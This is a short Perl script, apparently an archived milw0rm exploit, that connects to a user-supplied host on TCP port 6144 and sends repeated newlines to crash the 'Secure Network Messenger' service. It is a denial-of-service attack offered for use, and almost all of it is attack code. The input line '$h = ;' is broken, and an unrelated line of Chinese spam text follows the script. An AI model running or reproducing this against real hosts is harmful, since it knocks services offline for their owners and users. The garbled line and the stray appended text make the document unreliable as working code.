#!/usr/bin/perl use IO::Socket; print ("\nSecure Network Messenger Crasher by ClearScreen\n"); print ("\nEnter host to crash: "); $h = ; chomp $h; $socks = IO::Socket::INET->new( Proto => "tcp", PeerPort => "6144", PeerAddr => "$h" ) or die "\nNo response from host."; sleep 1; print "\nSuccesfully connected to $h!\n"; for ($count=1; $count<15; $count++) { print $socks "\n"; select(undef, undef, undef, 0.1); } print "\nMessenger crashed."; close $socks; # milw0rm.com [2004-11-15]

亚洲欧美在线